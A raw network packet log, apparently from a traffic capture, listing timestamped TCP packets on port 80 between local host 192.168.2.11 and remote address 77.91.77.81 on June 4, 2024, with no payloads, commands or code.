Jun 4, 2024 23:09:16.711899996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711910963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711914062 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.711922884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711935043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711937904 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.711955070 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.711956024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711978912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711980104 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.711991072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711996078 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712002993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712014914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712014914 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712027073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712033987 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712038994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712050915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712058067 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712064028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712070942 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712074995 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712085009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712097883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712106943 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712110043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712121010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712130070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712146044 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712152004 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712163925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712166071 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712176085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712184906 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712188005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712198973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712201118 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712212086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712219000 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712224960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712234020 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712236881 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712249041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712260962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712269068 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712271929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712280035 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712289095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712306023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712310076 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712318897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712328911 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712332010 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712342978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712353945 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712353945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712368965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712379932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712382078 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712388039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712393045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712399006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712404013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712409973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712409973 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712424040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712435961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712446928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712459087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712466002 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712470055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712490082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712492943 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712503910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712515116 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712516069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712527990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712534904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712539911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712546110 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712557077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712560892 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712560892 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712572098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712585926 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712590933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712610006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712615013 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712621927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712634087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712644100 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712646961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712660074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712671041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712673903 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712683916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712696075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712701082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712707043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712711096 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712719917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712738037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712738991 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712754965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712764025 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712766886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712779045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712788105 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712790012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712800980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712806940 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712812901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712824106 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712825060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712836027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712847948 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712847948 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712861061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712872028 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712872982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712882996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712884903 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712893963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712905884 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712917089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712932110 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712934017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712945938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712949038 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712958097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712970972 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712975025 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712984085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.712992907 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.712996960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713009119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713017941 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713021040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713032961 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713033915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713046074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713059902 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713066101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713083982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713084936 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713094950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713104010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713104963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713116884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713129044 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713140965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713151932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713164091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713165998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713165998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713165998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713176966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713177919 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713187933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713202953 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713202953 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713212967 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713221073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713232040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713239908 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713243008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713258028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713269949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713270903 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713282108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713284016 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713291883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713304996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713309050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713316917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713327885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713334084 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713340044 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713352919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713356018 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713367939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713386059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713387966 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713387966 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713397026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713408947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713418007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713422060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713433981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713438988 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713445902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713455915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713459969 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713469028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713480949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713491917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713494062 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713494062 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713504076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713515997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713520050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713531971 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713531971 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713542938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713546038 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713561058 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713573933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713577986 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713587046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713599920 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713599920 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713613987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713624954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713625908 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713637114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713648081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713650942 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713659048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713669062 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713671923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713684082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713692904 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713705063 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713717937 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713723898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713737011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713737965 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713749886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713762045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713762999 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713773012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713784933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713784933 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713797092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713809967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713813066 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713824034 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713829994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713840961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713852882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713867903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713869095 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713876963 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713881016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713891983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713906050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713907957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713922024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713931084 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713932991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713938951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713943005 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.713946104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713952065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713958025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713963032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713968992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713974953 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713979959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713989973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.713995934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714003086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714016914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714029074 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714029074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714042902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714055061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714057922 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714070082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714071989 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714083910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714087963 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714097977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714109898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714113951 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714122057 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714122057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714135885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714140892 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714148045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714160919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714165926 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714174032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714188099 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714190006 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714200020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714211941 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714214087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714225054 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714251041 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714255095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714291096 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714423895 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714442015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714453936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714466095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714481115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714482069 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714492083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714504957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714504957 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714518070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714520931 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714530945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714541912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714544058 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714555025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714565039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714580059 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714580059 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714596033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714606047 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714613914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714626074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714632988 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714637041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714648962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714653015 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714660883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714667082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714673042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714683056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714693069 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714695930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714700937 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714706898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714719057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714730024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714730024 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714742899 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.714754105 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.714755058 CEST	80	49713	77.91.77.81	192.168.2.11
